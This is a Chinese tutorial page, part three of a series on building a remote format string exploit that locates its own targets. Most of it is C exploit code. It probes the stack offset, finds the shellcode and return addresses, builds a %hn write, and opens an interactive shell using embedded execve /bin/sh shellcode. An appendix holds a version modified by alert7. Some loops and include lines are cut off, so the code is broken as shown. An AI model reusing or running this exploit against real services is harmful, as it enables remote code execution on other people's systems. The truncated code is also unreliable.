Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 如何写远程自动精确定位的format string 三
【标  题】:如何写远程自动精确定位的format string 三
【关键字】:远程,in,for,at,rm,string,str,or,format,form,format,string
【来  源】:网络

如何写远程自动精确定位的format string 三

Your Ad Here /********************************************************/

 /* look for the address of the shellcode in the remote stack */
 memset (fmt, 0x0, sizeof(fmt));
 read_at = addr_stack;
 get_addr_as_char(read_at, fmt);
 snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
 /*
  *构造read_at%n$s,准备读read_at内存地址的内容
  */
 write(sd, fmt, strlen(fmt));
 sleep(1);

 while((len = read(sd, buf, sizeof(buf))) > 0 &&
   (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

   if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);

/***********************************************************************/
//以下查找shellcode 在内存中的地址
   /* the shellcode */
   if ((ptr = strstr(buf, shellcode))) {
     addr_shellcode = read_at + (ptr-buf) - 4;
     fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
     fprintf(stderr, "buf = (%d)\n", len);
     for (i=0; i    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
   if (i && i%20 == 0) fprintf(stderr, "\n");
     }
     fprintf(stderr, "\n");
   }
/***********************************************************************/


/***********************************************************************/
//以下查找format string地址
   /* the input buffer */
   if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
     addr_buffer = read_at + (ptr-buf) - 4;
     /*addr_buffer就是format string的地址*/
     fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
     fprintf(stderr, "buf = (%d)\n", len);
     for (i=0; i    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
   if (i && i%20 == 0) fprintf(stderr, "\n");
     }
     fprintf(stderr, "\n\n");
   }
/***********************************************************************/

#if 0
if (addr_buffer != -1)
   addr_ret = addr_buffer-(4*offset+4)-aligned - 4*2 - 4;
#endif

/***********************************************************************/
//以下查找要覆盖的返回地址的地址
   /* return address */
   if (addr_buffer != -1) {
     i = 4;
     while (i
   if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
       buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
     addr_ret = read_at + i - 2 + 4 - 4;
     if (  (addr_ret & 0xff)* ( (addr_ret >>  8) & 0xff) *
( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
         addr_ret = -1;
     else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
   }
   i++;
     }
   }
/***********************************************************************/


   read_at += (len-4+1);
   if (len == sizeof(buf)) {
     fprintf(stderr, "Warning: this has not been tested !!!\n");
     fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
     read_at-=strlen(shellcode);
   }
   get_addr_as_char(read_at, fmt);
   write(sd, fmt, strlen(fmt));
 
 } //end while

 /* send the format string */
 fprintf (stderr, "Building format string ...\n");
 memset(buf, 0, sizeof(buf));
 build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);
 write(sd, buf, strlen(buf));
 sleep(1);
 read(sd, buf, sizeof(buf));

 /* call the return while quiting */
 fprintf (stderr, "Sending the quit ...\n");
 strcpy(buf, "quit");
 write(sd, buf, strlen(buf));
 sleep(1);

 interact(sd);

 close(sd);
 return 0;
}

--------------------------------------------------------------------
--[  Appendix 3 : the exploit modify by alert7  ]--

/****************************************************************/

/*
changelog
1
如果input buffer够大,而又没有其他地址可输入的地方,没有象类似pass的时候
我们可以把shellcode直接放到input buffer中

2
该改进过的exploit考虑了aligned的问题了,原来原作者没有考虑到
虽然在这个例子中,我们没有碰到,也就是在这个例子中aligned为0

3
改进过的exploit需要猜测3个部分
 一个是offset和aligned
 第二个就是input buffer的地址,也就是format string的地址
 第三个就是ret_loc,要覆盖的返回地址
 减少了猜测shellcode的地址的过程,因为现在把shellcode放到在了
     format string后面,直接和format string放进了input buffer
     所以,有了format string地址,就有了shellcode地址
4
改进过的exploit修改的返回地址是*printf本身的返回地址,更精确些
关于覆盖*printf本身的返回地址,请参考拙作《利用格式化串覆盖*printf()系列函数本身的返回地址》
也就是由于使用了该技术,才使的我们的shellcode可以放在input buffer中。

5
该exploit能正确处理
象printf(buf)(format string可以在buf中找到)和sprintf(buf1,buf2)
(format string可以同时在buf1和buf2中找到)这样两大类*printf函数

*/
#include
#include
#include
#include
#include
#include
#include
#include
#include


char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
       b0 = (addr >> 24) & 0xff; \
           b1 = (addr >> 16) & 0xff; \
           b2 = (addr >>  8) & 0xff; \
           b3 = (addr      ) & 0xff; \
               if ( b0 * b1 * b2 * b3 == 0 ) { \
                   printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
                     exit( EXIT_FAILURE ); \
               } \
   }
#define MAX_FMT_LENGTH     128
#define ADD        0x100    
#define FOUR            sizeof( size_t ) * 4
#define TWO             sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

char *shellcode =
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int interact(int sock)
{
 fd_set fds;
 ssize_t ssize;
 char buffer[1024];

 write(sock, BANNER"\n", sizeof(BANNER));
 while (1) {
   FD_ZERO(&fds);
   FD_SET(STDIN_FILENO, &fds);
   FD_SET(sock, &fds);
   select(sock + 1, &fds, NULL, NULL, NULL);

   if (FD_ISSET(STDIN_FILENO, &fds)) {
     ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
     if (ssize < 0) {
   return(-1);
     }
     if (ssize == 0) {
   return(0);
     }
     write(sock, buffer, ssize);
   }

   if (FD_ISSET(sock, &fds)) {
     ssize = read(sock, buffer, sizeof(buffer));
     if (ssize < 0) {
   return(-1);
     }
     if (ssize == 0) {
   return(0);
     }
     write(STDOUT_FILENO, buffer, ssize);
   }
 }
 return(-1);
}

u_long resolve(char *host)
{
 struct hostent *he;
 u_long ret;

 if(!(he = gethostbyname(host)))
   {
     herror("gethostbyname()");
     exit(-1);
   }

 memcpy(&ret, he->h_addr, sizeof(he->h_addr));
 return ret;
}

int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
 unsigned char b0, b1, b2, b3;
 unsigned int high, low;
 int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
 int sz;
 int i,j,count=0;

buf[0]=0;

for (i=0;i     strcat(buf,"a");

 /* : where to overwrite */
 OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
 sz = snprintf(buf+alinged, TWO + 1,
    /* 8 char to have the 2 addresses */
            "%c%c%c%c"       /* + 1 for the ending \0 */
            "%c%c%c%c",
            b3, b2, b1, b0,
            b3 + 2, b2, b1, b0);
 
 /* where is our shellcode ? */
 OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
 high = (retaddr & 0xffff0000) >> 16;
 low = retaddr & 0x0000ffff;      
 
 printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high);

 i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
          "%%.%hdx%%%d$n%%.%hdx%%%d$hn",
          low - TWO + start - base,
          offset,
          high - low + start,
          offset + 1);
for (j=0;j    {
   if (buf[j] == '%' )
       count++;
   fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff));
   if (j && j%20 == 0) fprintf(stderr, "\n");
   }
fprintf(stderr, "\n\n");
if (count > 4)
   {
   printf("too many '%%' in input buffer\nmay be failed\n\n");
   }
strcat(buf,shellcode);
return i;
}


void get_addr_as_char(u_int addr, char *buf) {

 *(u_int*)buf = addr;
 if (!buf[0]) buf[0]++;
 if (!buf[1]) buf[1]++;
 if (!buf[2]) buf[2]++;
 if (!buf[3]) buf[3]++;
}

int get_offset(int sock,int * alinged) {

 int i, j,offset = -1, len;
 char fmt[128], buf[128];
 char tmp1[128],tmp2[128];


 for (j =0;j<4;j++)
 {
 if (j == 0)
   {
     strcpy(tmp1,"AAAA%%%d$x");
     strcpy(tmp2,"AAAA41414141");
   }
 if (j == 1)
   {
     strcpy(tmp1,"AAAAa%%%d$x");
     strcpy(tmp2,"AAAAa41414141");
   }
 if (j == 2)
   {
     strcpy(tmp1,"AAAAaa%%%d$x");
     strcpy(tmp2,"AAAAaa41414141");
   }
 if (j == 3)
   {
     strcpy(tmp1,"AAAAaaa%%%d$x");
     strcpy(tmp2,"AAAAaaa41414141");
   }

   for (i = 1; i

   snprintf(fmt, sizeof(fmt), tmp1, i);
   write(sock, fmt, strlen(fmt));
   memset(buf, 0, sizeof(buf));
   sleep(1);
   if ((len = read(sock, buf, sizeof(buf))) < 0) {
     fprintf(stderr, "Error while looking for the offset (%d)\n", len);
     close(sock);
     exit(EXIT_FAILURE);
   }

   if (debug)
     fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d\n",
         i, fmt, buf, len);

   if (!strcmp(buf, tmp2))
   {
   offset = i;
   *alinged = j;
   goto OUT;
   }
 }//end for i

 }//end for j
OUT:
 return offset;
}


int main(int argc, char **argv)
{
 char *ip = "127.0.0.1", *ptr;
 struct sockaddr_in sck;
 u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */
 u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
 char buf[1024], fmt[128], c;
 int port = 12345, offset = -1;
 int sd, len, i;
 int aligned;
 int formatstring_counts = 0;
 u_int formatstring1=0,formatstring2=0;
 int use_format = 0;
 int like_printf = 0;

如何写远程自动精确定位的format string 四:【上一篇】
如何写远程自动精确定位的format string 二:【下一篇】
【相关文章】
  • 如何写远程自动精确定位的format string 四
  • window系统下的远程堆栈溢出 --《实战篇》
  • 高级format string exploit技术P59-0x07(下)
  • Linux 编程环境常见问题
  • 一个多功能linux 后门的源代码 上
  • 一个多功能linux 后门的源代码 下
  • Windows 2000缓冲区溢出
  • Windows黑客编程基础(上)
  • 书写基于内核的linux键盘纪录器 上
  • 关于Windows下ShellCode编写的一点思考 下
  • 【随机文章】
  • JavaScript在ASP中实现掩码文本框
  • http://www.xialala.com/
  • oracle备份报错。
  • Web服务初探:用Demo学Web服务系列(4)——改变所调用的Web服务
  • 异乡的那个家
  • 检测并修复磁盘错误
  • 在Sql server中存取word文件
  • Windows, VxWorks下telnet的实现(2)
  • Photoshop 7.0 调焦工具
  • diy pe教学3 上
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.